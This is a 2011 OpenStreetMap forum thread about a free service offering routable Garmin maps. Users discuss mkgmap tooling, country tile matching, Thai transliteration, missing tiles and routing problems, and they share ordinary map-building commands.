Greencaps, what makes you so negative about mkgmap? I don't understand why there will be a queue just for downloading a 1,5mb programm?
The setup.exe can be a general one. It has to be compiled once but thats it. In the setup.exe there will be the latest mkgmap, a few or just one general typ file, and a bunch of instructions what to do with the downloaded img that the user himself will download from Lambertus site. With the selected tiles they are downloading, comes a small setup.exe file that will install those tiles into mapsource and / or make a gmapsupp.img. Ok, you can make this installer as sophisticated as you want, maybe let this installer downloads the tiles, but that seems to me far more complicated.
Sorry, dont have any knowledge about Linux.Mkgmap is not overkill when it comes to making an index file for mapsource. I think it should be used because other programms like mapsettoolkit will fail to make a good index from the tiles.
And I think its better to include mkgmap because there are several versions of this and the tiles that Lambertus has generated must be in correspondence with the right mkgmap version.If someone wants to order a map for free we can ask some effort for this service (=installing java). Better this than waiting for days for your free lunch.
When a user comes back later to add more maps, it is very likely that the tiles are not the same anymore. Thats a big issue for which I haven't found yet a good solution, other
than uninstalling all the previously installed maps. :-( - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 28.02.2011 17:38 · [flux]
ligfietser wrote:
Greencaps, what makes you so negative about mkgmap?
Mkgmap is a very nice program. I was not negative about it in any way (ehh.. well.. transliteration is not it's strength .. ha ha). But I would not use it in the context we are talking about as sendmap20 would do all so much easier. Moreover I'm focussing on users who only want to generate a gmapsupp.img where you want them to be able to all kind of things with mapsource.
.... the downloaded img that the user himself will download from Lambertus site.
No no no. We are talking here about a possibility to download the tiles not manually. A download program will be used.
With the selected tiles they are downloading, comes a small setup.exe file that will install those tiles into mapsource and / or make a gmapsupp.img.
How will they download the tiles and that exe?
That exe is sendmap20 as that is all that you need once the tiles are on your computer.
... maybe let this installer downloads the tiles, but that seems to me far more complicated.[
That was the first thing the OP wanted to let it do...
When a user comes back later to add more maps, it is very likely that the tiles are not the same anymore. Thats a big issue for which I haven't found yet a good solution,...
Sorry. That was not the problem I had in mind. See my earlier post.
Edit by Lambertus: I moved an offtopic discussion about the sendmap20 alternative Gmaptool to a topic of it's own: Here.
- Re: Worldwide routable Garmin maps: URL REMOVED · mischatenhoope (Gast) · 28.02.2011 18:12 · [flux]
Lambertus,
I will be travelling the world in an expedition vehicle, and offline (laptop) navigation is one of my requirements. I'm currently using nroute and mapquest. Is there any way to download all maps (besides the obvious - select all)? If necessary, I can select a bunch (or all) countries, but I understand that's pushing it as far as resources are concerned.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.02.2011 21:17 · [flux]
Lambertus wrote:
I also like the suggestion from one emailer (Steve from UK) who suggested that I provided a tracking number for each request and a webpage that allows to see the current status of the request. This is easy to do as all the components needed are already in place, so I expect to add that in the coming days after I've catched up with the online world.
A first rough version is now implemented. Seems to work fine. Start hitting that F5-key y'all 😄
Note: Only works for new requests...
mischatenhoope wrote:
Lambertus,
I will be travelling the world in an expedition vehicle, and offline (laptop) navigation is one of my requirements. I'm currently using nroute and mapquest. Is there any way to download all maps (besides the obvious - select all)? If necessary, I can select a bunch (or all) countries, but I understand that's pushing it as far as resources are concerned.
I'm sorry but bad behaviour of users in the past made me disable the option to download all maps easily. Probably the best solution is to request all countries you're about to visit and which you can't already download immediately. It involves a bit of work and waiting time from you, but that's how it is unfortunately...
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.03.2011 01:31 · [flux]
mischatenhoope wrote:
Lambertus,
I will be travelling the world in an expedition vehicle, and offline (laptop) navigation is one of my requirements. I'm currently using nroute and mapquest.
Surely you mean Mapsource, not Mapquest? I wouldn't download too many tiles in advance, as data is added all the time (until they delete all the data from people who didn't agree to the new licence...). Just download what you need for the next couple of weeks, then go to an internet connection and download more. Uninstall the old tiles before installing the new ones.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · mischatenhoope (Gast) · 02.03.2011 20:16 · [flux]
oops, yeah mapsource.... duh.
thanks both for the feedback! - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.03.2011 12:12 · [flux]
Note: I've reduced the map caching time from 42 to 36 hours in order to speed the queue up a bit. Please make sure to download the map quickly after you've received the map-is-ready notification email.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.03.2011 13:08 · [flux]
Some new tweaks to use the resources more efficiently (hopefully):
- The color/presence of the notification text (urging users to behave nice) is now dependent on the queue length.- The service now detects in all stages whenever a combination of tiles is actually a country combination, even when the user adds/removes tiles using manual tile selection. Countries are cached longer then the other requests (currently only 12 hours, but this can be tuned further).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.03.2011 14:09 · [flux]
A new version is released which uses a new tile-vs-countrypolygon matching algorithm. In previous versions there were always predefined countries that missed tiles or used too many tiles. The new matcher fixes this. It was especially a lot of work to efficiently handle corner cases like Russia and New Zealand who cross the +/-180 degrees longitude line. Running into -and working around- obscure bugs in libraries also took quite some time to figure out.
Anyway, I'm very happy with the results 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 10.03.2011 14:51 · [flux]
Lambertus wrote:
A new version .....
The new matcher....Did you abandon matchit already a long time ago?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.03.2011 14:53 · [flux]
About a month ago I guess..
Edit: nope, already two months ago.
One of the neat functions of the new PHP Matchit script is that it can output an image of a polygon selection (cortesy of the polygon PHP class). This class isn't perfect (the bugs that needed working around I mentioned earlier) and it's quite slow: it takes 20 minutes on a not-too-fast Xeon single core to match the countries. But I can work around that in a next version that uses threads which should provide an almost linear speedup with the amount of cores available.
Anyway, the images, I've uploaded two examples for you to marvel at 😉
Brazil:
Thailand:
The blue boxes are the polygons that define a country (they don't need to be rectangles as e.g. the Netherlands is defined as a single large polygon). The black box is the bounding box of the country that is used to prefilter the tiles (this provides an enormous speed improvement over matching each tile against each polygon of ~100x). If a tile passes the country prefilter it will be tested against each polygon in the country definition file. The matched tiles are shown in red.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 10.03.2011 19:36 · [flux]
Awesome, thanks again for this invaluable resource.
I just checked out Thailand and it works just like you say.
How much time do you spend on this project every week? There can't be much time left to get out on your bike...
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.03.2011 19:48 · [flux]
Beddhist wrote:
Awesome, thanks again for this invaluable resource.
I just checked out Thailand and it works just like you say.
How much time do you spend on this project every week? There can't be much time left to get out on your bike...
Kind regards,
Peter.Heh, you got me there. I really should be going out on the bike more often. Actually I have an on-off relationship with my projects. I can spend weeks on end working on it straight away when I come home from work until bedtime, like I pretty much did in the last two weeks. But then I get to a stage when the most important stuff is working as I want it and the energy leaves me to work on the project. I then put the project on hibernation and maybe start working on my other projects (OSM and non-OSM related) or relax a bit. Anyway, spring and summer are coming and it looks like the Garmin map service will have to make due until winter again (apart from map upgrades now and then).
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 10.03.2011 22:50 · [flux]
Lambertus wrote:
Edit: nope, already two months ago.
Completely missed that.
Anyway, the images, I've uploaded two examples for you to marvel at 😉
I do not understand that you still use those rectangle polygons (of cloudmate?).
Why not use real boundary polygons? Like here for Brazil:
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.03.2011 00:07 · [flux]
greencaps wrote:
I do not understand that you still use those rectangle polygons (of cloudmate?).
Simple answer: because I haven't found better ones 🙂
Why not use real boundary polygons? Like here for Brazil:
(image removed)Tell me, where are they from?
Anyway, it doesn't matter anymore (perhaps the might help the processing speed, but not to the final result).
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.03.2011 01:02 · [flux]
Lambertus wrote:
I must also note that a significant portion comes from Greencaps who provided the transliteration application
Is there any way Thai can be transliterated? Borders, etc. around there look hideous right now.
Thanks,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Willi2006 (Gast) · 11.03.2011 15:39 · [flux]
Beddhist wrote:
Is there any way Thai can be transliterated? Borders, etc. around there look hideous right now.
As far as I know there are no simple rules and many exceptions. Even the "official" tool Chulalongkorn University: Thai Romanization Program is far from being perfect. The method of romanization is changing and even the authorities don't follow them. Thus you can get different versions from the tool and the sign at the street. In another country there are other rules. Thus the map generation program ought to follow the exact border. I guess currently not doable.
I think the best way is to tag "name" and "name:en". Where this is done a convenient bilingual map can be created, e.g. in Khon Kaen and the map is still useable if there's only the local Thai name for some places given, e.g. at Chatuchak. A navigation program can offer switching the map between English and local Thai language, e.g. as Mapfactor Navigator Free does.
I startet using the "Worldwide routable Garmin map" of Thailand not long ago and I like it more and more. As I see it is using name:en, name. This is fine where name:en is given. But where there's only name in Thai letters I see strange words in roman letters. I don't know why. Get they converted during the map generation or are non Thai Garmin devices and programs not able to display Thai letters?
Many thanks to Lambertus and the other contributors
Willi - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.03.2011 16:36 · [flux]
This service has a nice trick up it's sleeve which -afaik- other OSM Garmin map providers don't have, namely the addition of a custom transliteration application created by user Greencaps. This transliteration apparently works quite well for e.g. Slavic languages but frankly I don't know how well it performs for other countries, so I'll leave the more detailed answers to Greencaps...
And, yes, the way preference is given to OSM English and international names over transliterated and finally a fallback to the OSM name does help a little too.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 11.03.2011 18:04 · [flux]
Lambertus wrote:
Tell me, where are they from?
Well you saw only one... I wrote a program which given the relation id of a country's border downloads recursivly all containing relations and ways and finally the nodes. Then the individual ways often have to be sorted and some reversed to make it a nice closed loop boundary which I save as a .gpx file. Much later I discovered http://ra.osmsurround.org/analyze.jsp?relationId= which can analyse relations when given a relation id. At the end it offers a download possibility of the 'border' as gpx file.
Having these possibilities the bunch of work is to determine -by hand- the relation id's of the borders.
Beddhist wrote:
Is there any way Thai can be transliterated?.
Yes. Translit could do that too I think. But as I don't know anything of Thai I did not even start. When there are many ways Thai can be transliterated (as Willi2006 said) then we could still choose one. If you are willing to help me to make a translitertation table then I will make a webpage wilth a Thai alfabet where you can fill in the transliteration (in the english way).
Willi2006 wrote:
Thus the map generation program ought to follow the exact border. I guess currently not doable.
That is very well doable. As you can read in http://forum.openstreetmap.org/viewtopic.php?id=5554 translit was first designed to use country borders for the different languages. But then 'I found out' that country borders were not needed as every language occupied its own set of utf-8 characters. I think I can put in some thai-states-borders again. (I said I think. Did not see the code for quite some time now.)
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.03.2011 22:19 · [flux]
greencaps wrote:
If you are willing to help me to make a translitertation table then I will make a webpage wilth a Thai alfabet where you can fill in the transliteration (in the english way).
I wish I could help you there, but I don't read or understand Thai. I had a quick look at the transliteration table on the uni website (following Will's link), but it looks very complicated.
Interestingly, the maps I compile myself strip out all Thai names in the name field, except for borders. Your maps show labels with long strings of gibberish. I guess we can conclude from that that Garmin MS and devices don't display Thai characters, except for localised units, of course.
I guess the best thing to do would be for mappers (like myself) to run all Thai-only names through something like Google translate and then create then name:en field. Or should that be name:int?
Can anything be done about the borders?
SW of Yala the border is a complicated looking web of relations and multi-polygons. It's interesting to note that the name for Malaysia can't even be displayed in JOSM (it shows as a bunch of squares, this is the result of a copy and paste: မလေးရှားနိုင်ငံ), although Malaysia uses the roman script. I think this is an error.
The name field for the border line itself is Border Thailand - Malaysia, so I don't know where mkgmap takes all the gibberish from.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Ong TH (Gast) · 14.03.2011 10:39 · [flux]
I request for a routable Garmin map from garmin.na1400.info for Hokkaido Island and downloaded from:
<http://planetosm.oxilion.nl/~lambertus/ … 0e39f68230>
I found that the eastern part of the Island is not included.
Before this, I downloaded the whole of Japan and the Eastern part of Hokkaido Island was also missing. Any reason?
Will be visiting Hokkaido soon.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 14.03.2011 12:01 · [flux]
Beddhist wrote:
this is the result of a copy and paste: မလေးရှားနိုင်ငံ),
This looks more like a font that does not support Malaisian characters. It's not a 'i do not understand unicode' issue. If you could force JOSM to use a different font? Or download the malaisian graphics for the used font?
Ong TH wrote:
I found that the eastern part of the Island is not included.
Could you give an osm link to the island exactly on the line from where on there is no data?
Are you sure the tile from the eastern part was included in 'your order'?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.03.2011 12:18 · [flux]
Ong TH wrote:
I request for a routable Garmin map from garmin.na1400.info for Hokkaido Island and downloaded from:
<http://planetosm.oxilion.nl/~lambertus/ … 0e39f68230>
I found that the eastern part of the Island is not included.
Before this, I downloaded the whole of Japan and the Eastern part of Hokkaido Island was also missing. Any reason?
greencaps wrote:
Are you sure the tile from the eastern part was included in 'your order'?
With all due respect, I think Greencaps is 'on the problem' here. I just ordered the same region (albeit a newer map version, but that should have no effect) using my admin super powers to get a quick turnaround time and it works just fine. See the Hokkaido island here or all of Japan here.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ong TH (Gast) · 14.03.2011 16:39 · [flux]
Downloaded both Hokkaido and Japan maps, both works fine. Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.03.2011 22:44 · [flux]
greencaps wrote:
Beddhist wrote:
this is the result of a copy and paste: မလေးရှားနိုင်ငံ),
This looks more like a font that does not support Malaisian characters.
You seem to have missed an important part of my post:
Beddhist wrote:
this is the result of a copy and paste: မလေးရှားနိုင်ငံ), although Malaysia uses the roman script.
There are no Malaysian characters, fonts or scripts. They use the same writing as you and I. This looks like a data error to me, so I just went ahead and corrected it.
I still don't understand why mkgmap takes the name of the border from relations, rather than the name of the border line itself, but as I don't understand what these relations do anyway there is no point in me asking on their mailing list. When I upload corrections to this border JOSM always throws a bunch of errors about unknown relation types and empty relations.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Markkt (Gast) · 15.03.2011 02:09 · [flux]
Hi,
These maps are a fantasitc service but I'm having some problems.
I've tried searing through the forums to see if others are having this same problem, but damn, this post is 35 pages long.So, I'm trying to download France & Spain for an upcoming vacation but the maps seem to have missing tiles.
I've tried it a few different times, first by selecting the country from the drop-down lists, and then by selecting the tiles manually, but each times there are missing tiles - but not neccesarily the same ones.
Also, for a given download, both the gmapsupp.img file & the mapsource installer have the same areas missing.Am I doing something wrong? Its getting kinda frustrating as the queue is about a week long.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.03.2011 09:26 · [flux]
Markkt wrote:
Hi,So, I'm trying to download France & Spain for an upcoming vacation but the maps seem to have missing tiles.
When was the last time you downloaded a map? I've changed the way tiles are matched against country definitions so there should be no missing tiles anymore. Also, I've not seen any clear example where the site showed a selected tile while the result did not contain it. So I've requested France and Spain. I a few hours we'll know...
I've tried it a few different times, first by selecting the country from the drop-down lists, and then by selecting the tiles manually, but each times there are missing tiles - but not neccesarily the same ones.
The first bit can be explained by the different updates on the site. The second one scares me a bit 😉
Also, for a given download, both the gmapsupp.img file & the mapsource installer have the same areas missing.
That is what I would expect, otherwise things would have become spooky.
Edit: I've checked France & Spain and both are fine as far as I can see.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 15.03.2011 11:14 · [flux]
greencaps wrote:
This looks more like a font that does not support Malaisian characters.
Sorry. I ment Thai characters.
And indeed I missed the point where you switched from Thai to Malaisian and did not pay attention to 'using the same characters'. My brain just drops info.... Sorry for the confusion.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 16.03.2011 12:09 · [flux]
Beddhist wrote:
I still don't understand why mkgmap takes the name of the border from relations, rather than the name of the border line itself, but as I don't understand what these relations do anyway ...
There is no border line itself (well if there is please name it). There are border lines. Those are ways. Every way describes only a part of the border.
The relation with id 49865 describes the border of Thailand by summarising all the <way>'s that constitute the border.
http://api.openstreetmap.org/api/0.6/relation/49865
http://www.openstreetmap.org/browse/relation/49865
http://www.openstreetmap.org/?relation=49865 (you have to wait long before the border is drawn) - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.03.2011 14:43 · [flux]
Exciting new development: someone offered me to host the project on his beefy server. Hopefully this means there soon will be and end to long waiting queues (and perhaps some new features as well) 😄
Beefy server = big/fast server
It's a quad-core with 8GB ram and 100MBit internet connection. It's in the stage of getting it ready (i.e. install the necessary software). I don't know how much disk space is available for the Garmin maps but it's certainly much more then what's available now. I might even use both machines to process and store the Garmin maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 22.03.2011 17:26 · [flux]
Any suggestions on how to find the culprit for routing errors? I had one happen today when I tried to route to a new geocache from work (I have successfully routed from work to other geocaches). Any advice on how to find the culprit is appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 22.03.2011 17:49 · [flux]
What king of errors exactly?
Which device or program did you use?
From where did you route?
To where did you route?
How to reproduce the error(s)? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.03.2011 18:21 · [flux]
Francisco Moraes wrote:
Any suggestions on how to find the culprit for routing errors? I had one happen today when I tried to route to a new geocache from work (I have successfully routed from work to other geocaches). Any advice on how to find the culprit is appreciated.
Any link to your starting/finish position (OSM id's perhaps) would help.
What version of the map are you using (i.e. when did you download the map)?
Did you try any of the webbased OSM routing applications like http://www.yournavigation.org? - Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 22.03.2011 18:42 · [flux]
Lambertus wrote:
Francisco Moraes wrote:
Any suggestions on how to find the culprit for routing errors? I had one happen today when I tried to route to a new geocache from work (I have successfully routed from work to other geocaches). Any advice on how to find the culprit is appreciated.
Any link to your starting/finish position (OSM id's perhaps) would help.
What version of the map are you using (i.e. when did you download the map)?
Did you try any of the webbased OSM routing applications like http://www.yournavigation.org?I don't have links, but I can give you coordinates:
Start: N 35° 54.418 W 78° 50.751
End: N 35° 51.136 W 78° 52.394I did this from my Oregon 450 using the latest NC maps which I downloaded last week.
I was not able to use any web routing as the end coordinate was is off road.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 23.03.2011 07:14 · [flux]
If you navigate to the relevant area in Openstreetmap and post a permalink, you'll probably get a quicker response.
- Re: Worldwide routable Garmin maps: URL REMOVED · Zartbitter (Gast) · 23.03.2011 08:53 · [flux]
Francisco Moraes wrote:
I don't have links, but I can give you coordinates:
Start: N 35° 54.418 W 78° 50.751
End: N 35° 51.136 W 78° 52.394Here is a link to cloudmade routing (start and end only approximated):
http://maps.cloudmade.com/?lat=35.85284 … ened_tab=1 - Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 23.03.2011 12:57 · [flux]
Zartbitter wrote:
Francisco Moraes wrote:
I don't have links, but I can give you coordinates:
Start: N 35° 54.418 W 78° 50.751
End: N 35° 51.136 W 78° 52.394Here is a link to cloudmade routing (start and end only approximated):
http://maps.cloudmade.com/?lat=35.85284 … ened_tab=1Ok, I can see the web routers can do the routing, but how can that help me find why the Oregon can't? The only thing I saw was that Davis Drive has two segments that were created in the opposite direction but they are not one way.
I also noticed this:
US:NC:road1639/Kitt Creek Road
Any ideas why the road would be named like that?
Francisco
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.03.2011 15:23 · [flux]
When I download and install North Carolina in MapSource and request it to calculate that route then the resulting route differs from Cloudmade but almost exactly matches Yournavigation.org. So it doesn't look like faulty map data.
Francisco Moraes wrote:
I also noticed this:
US:NC:road1639/Kitt Creek Road
Any ideas why the road would be named like that?
No, and it shouldn't really be named like that unless that's exactly what you'd find if you look at the streetsigns on every corner of that street. I guess the streetsigns give you "Kitt Creek Road" and that's what the name-tag in OSM should be.
- Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 23.03.2011 19:33 · [flux]
Lambertus wrote:
When I download and install North Carolina in MapSource and request it to calculate that route then the resulting route differs from Cloudmade but almost exactly matches MapSource...
Ok, I have no idea what's wrong. I will try to route again from the main road instead of near my work building and see if it changes anything. If it fails again, any suggestions on how to proceed? The only thing I saw using JOSM was that Davis Dr has two segments created in opposite ways which join close to where that turn into Kit Creek Rd is.
No, and it shouldn't really be named like that unless that's exactly what you'd find if you look at the streetsigns on every corner of that street. I guess the streetsigns give you "Kitt Creek Road" and that's what the name-tag in OSM should be.
Yes, the street signs are Kit Creek. I looked in JOSM and the only thing I see that would cause this is either name_1 or ref tag.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.03.2011 09:29 · [flux]
Francisco Moraes wrote:
Lambertus wrote:
When I download and install North Carolina in MapSource and request it to calculate that route then the resulting route differs from Cloudmade but almost exactly matches MapSource...
Ok, I have no idea what's wrong. I will try to route again from the main road instead of near my work building and see if it changes anything. If it fails again, any suggestions on how to proceed? The only thing I saw using JOSM was that Davis Dr has two segments created in opposite ways which join close to where that turn into Kit Creek Rd is.
Well, I should have added that a positive result in MapSource does not automatically mean it will work on any/some of the Garmin GPS devices as well. I did not have time yesterday to test on my GPSMap60Csx.
It's probably a good idea to clean that area up a bit, it won't hurt even though during Garmin map generation some work is done to sanitize the data so that it fits in a Garmin map file (which can result in weird routing I guess).
No, and it shouldn't really be named like that unless that's exactly what you'd find if you look at the streetsigns on every corner of that street. I guess the streetsigns give you "Kitt Creek Road" and that's what the name-tag in OSM should be.
Yes, the street signs are Kit Creek. I looked in JOSM and the only thing I see that would cause this is either name_1 or ref tag.
Ok, I would recommend to move the non-name part of the current name to a tag of it's own but contacting the OSM-US mailinglist about the naming/tag convention would be wise.
- Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 25.03.2011 00:48 · [flux]
I tested the routing again. The coordinates I posted were slightly off intentionally. I think the problem is due to the creek and the lake water body somehow. I can route to some places without an issue, but to the real coordinates, I cannot route at all, no matter where I am or how close I am.
I tested routing from work, on the way and from home. All fail with the same exact error message.
But I am able to route to points near by. I don't see a reason for that creek to be running under the lake.
- Re: Worldwide routable Garmin maps: URL REMOVED · kurodo (Gast) · 26.03.2011 18:27 · [flux]
Hi,
I discovered the OpenStreetMap project some days ago. Fantastic ! I already added my own little contribution to the map in my region.
I live in Publier, France, close to the Leman lake. I own a Garmin Vista HCx, and I noticed something really weird:
I downloaded an OSM for my region, splitted the tiles with splitter (java -Xmx1G -jar splitter.jar rhone-alpes.osm.bz2), then generated the gmapsupp.img with mkgmap (java -Xmx1G -jar mkgmap.jar -c template.args). The I noticed that the leman lake is on the land, not at its place.
NOW THE WEIRD THING IS:
I got some tiles for my region from your site. I generated the gmapsupp.img with mkgmap the same way than previously (same mkgmap version and parameters), BUT NOW the lake is RIGHT AT ITS PLACE, not on the land !BIG QUESTION:What's the difference ?
recent OSM files -> splitter -> mkgmap -> gmapsupp.img with lake wrong
your tiles -> mkgmap -> gmapsupp.img with lake ok.Your tiles are from early mars, so is it an error introduced after ? Or do you use some special parameter with splitter when you generate the tiles from the OPENSTREETMAP OSM ? Any help to understand welcome !
Thanks for your useful own project.
Kurodo
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 26.03.2011 18:43 · [flux]
Francisco Moraes wrote:
I tested the routing again...
Francisco, do you have any other maps loaded in your GPS? If so, try de-activating them.
- Re: Worldwide routable Garmin maps: URL REMOVED · kurodo (Gast) · 27.03.2011 09:36 · [flux]
Hi,
just a little question. Is it possible to trigger a new version of a tile ? I done some changes in my region, useful for better routing, and I'd like to have them in your tiles ...
Or can I generate the tile for you and put it on your site ?
Thanks in advance for your answer.
Kurodo
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.03.2011 12:07 · [flux]
kurodo wrote:
Hi,
just a little question. Is it possible to trigger a new version of a tile ? I done some changes in my region, useful for better routing, and I'd like to have them in your tiles ...
Or can I generate the tile for you and put it on your site ?
Thanks in advance for your answer.
Theoretically that should be nearly impossible, let alone practically. One example: a road that crosses a tileborder is moved a litte. Then you update only one tile and upload it to the website, then routing between the two tiles won't work anymore. So if you want to test your local roadnetwork using a Garmin map then it's simply best to create your own Garmin maps for that area. The changes will appear a bit later in the maps on e.g. my site.
- Re: Worldwide routable Garmin maps: URL REMOVED · kurodo (Gast) · 28.03.2011 07:20 · [flux]
Lambertus wrote:
kurodo wrote:
Hi,
just a little question. Is it possible to trigger a new version of a tile ? I done some changes in my region, useful for better routing, and I'd like to have them in your tiles ...
Or can I generate the tile for you and put it on your site ?
Thanks in advance for your answer.
Theoretically that should be nearly impossible, let alone practically. One example: a road that crosses a tileborder is moved a litte. Then you update only one tile and upload it to the website, then routing between the two tiles won't work anymore. So if you want to test your local roadnetwork using a Garmin map then it's simply best to create your own Garmin maps for that area. The changes will appear a bit later in the maps on e.g. my site.
Thanks for your answer. I will continue to add improvements for my region. What's the timelapse I can hope for them to appear in your tiles ?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.03.2011 10:02 · [flux]
kurodo wrote:
Thanks for your answer. I will continue to add improvements for my region. What's the timelapse I can hope for them to appear in your tiles ?
Due to high load on the server map updates are reduced (as they increase load a lot), so I'm aiming once per month currently. But I received an offer for a sponsored server and updates will be weekly again when that's up and running (I don't have a timeline yet).
- Re: Worldwide routable Garmin maps: URL REMOVED · kurodo (Gast) · 30.03.2011 07:34 · [flux]
Hi again,
is the process that you use to generate your tiles documented somewhere (source address of raw osm datas, options for splitter) ?
I'd really like to understand why I don't have the same problem (lake on land) with your tiles that I have with the tiles I downloaded from http://download.geofabrik.de/osm/europe/.
So I'd like to to generate tiles myself the same way you do yours.
Thanks in advance for your help
Kurodo
- Re: Worldwide routable Garmin maps: URL REMOVED · kurodo (Gast) · 31.03.2011 14:29 · [flux]
Please Lambertus is it a location or post where the way you generate yours tiles is explained ?
Thanks in advance
Kurodo - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.03.2011 17:10 · [flux]
Sorry, I've been busy. There are a few posts earlier this thread where I explain portions of the build scripts. See:
pre-processing
Splitting, rendering, mapcombiningAnd I don't mind giving my scripts to anyone interested, but it'll probably be hard to figure out how to get them working because of the complex nature of the toolchains (osmosis, splitter, 2x mkgmap) and hardware setup (separate pre-process, mapbuilding and website hosting servers). Once I have a server capable of doing everything by itself and I've adapted the scripts accordingly I'll just put a zip file on the website.
- Re: Worldwide routable Garmin maps: URL REMOVED · kurodo (Gast) · 01.04.2011 05:48 · [flux]
Lambertus wrote:
Sorry, I've been busy. There are a few posts earlier this thread where I explain portions of the build scripts. See:
pre-processing
Splitting, rendering, mapcombiningAnd I don't mind giving my scripts to anyone interested, but it'll probably be hard to figure out how to get them working because of the complex nature of the toolchains (osmosis, splitter, 2x mkgmap) and hardware setup (separate pre-process, mapbuilding and website hosting servers). Once I have a server capable of doing everything by itself and I've adapted the scripts accordingly I'll just put a zip file on the website.
Thanks for your answer. Yesterday I tried something basic. I exported a little zone directly from the map window of OSM, basically mkgmapped it (--route --remove-short-arcs --gmapsupp), and the lake was at its place !
So the problem seems to lie in the file I get from GEOFABRIK. I have to get my tiles directly from OSM map, not preprocessed ones ....
Yours are great, but as I am doing some corrections to my region and that I want to test them "on the road", I can't wait to have the new map in my garmin.
I have a last question. When I merge 2 tiles with mkgmap, is it a problem if they overlap, or mkgmap can achieve a clean merge ?
Kurodo
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.04.2011 08:14 · [flux]
kurodo wrote:
I have a last question. When I merge 2 tiles with mkgmap, is it a problem if they overlap, or mkgmap can achieve a clean merge ?
Afaik, tiles must match exactly.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.04.2011 08:32 · [flux]
For areas that I want to check out I save the data from JOSM into an osm file, then drag it onto a batch file, which compiles a map for me. This is the contents of the batch file:
d: cd␣\My␣Garmin\Logs java␣-jar␣p:\mkgmap\mkgmap.jar␣--name-tag-list=name:en,int_name,name␣--route␣--keep-going␣--ignore-osm-bounds␣--tdbfile␣%1 pause
I use MapsetToolkit to install this into MapSource, from where I could load it into the GPS (but I don't, usually). In the Logs folder (where I do most of the work) I have placed a link to the folder where the map is installed, so when I compile a new map I only need to drop the new .img file onto the link and the map is updated in MS. (This map can't usually be loaded into the GPS without re-installing it in MSTK.)
Hope this helps.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Iglmoos (Gast) · 05.04.2011 12:33 · [flux]
First of all: Thank you for these great maps!
Probably my question has been posted before, but I could not find a hint with the help of the "Search-Button".
I downloaded two different mapsets: a few tiles of the USA and a part of Italy. (2 Downloadfiles)
The installation of the US-tiles in mapsource was easy and everything worked fine. In mapsource I can open the maps with the name of "osm world routable".
When I installed the Italy-maps, everything worked fine again. But mapsource now shows only one "osm world routable" map. This is the latter installed Italy-map. The US-map seems to be overwritten.How can i manage to use several different osm world routable maps (e.g. Italy, Germany, USA, Autralia...) in mapsource.
Thank you for your help,
Hartmut - Re: Worldwide routable Garmin maps: URL REMOVED · Iglmoos (Gast) · 05.04.2011 14:46 · [flux]
"How can i manage to use several different osm world routable maps (e.g. Italy, Germany, USA, Autralia...) in mapsource?"
Meanwhile I found the answer: JaVaWa GMTK is a very nice tool, that provides a lot more, than I needed in this case: http://www.javawa.nl/gmtk.html
- Re: Worldwide routable Garmin maps: URL REMOVED · Ong TH (Gast) · 10.04.2011 06:15 · [flux]
I downloaded the New Zealand Map. The gmapsupp file works fine on my Garmin. However I could view only a small portion of the map using MapSource. I am using version 6.15.11 of MapSource.
Updated Mapsource to version 6.16.3. Map can be viewed with map scale of 150km but cannot be viewed at other map scales.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.04.2011 09:37 · [flux]
Have you tried clearing the map cache in MapSource (press ctrl-g twice)?
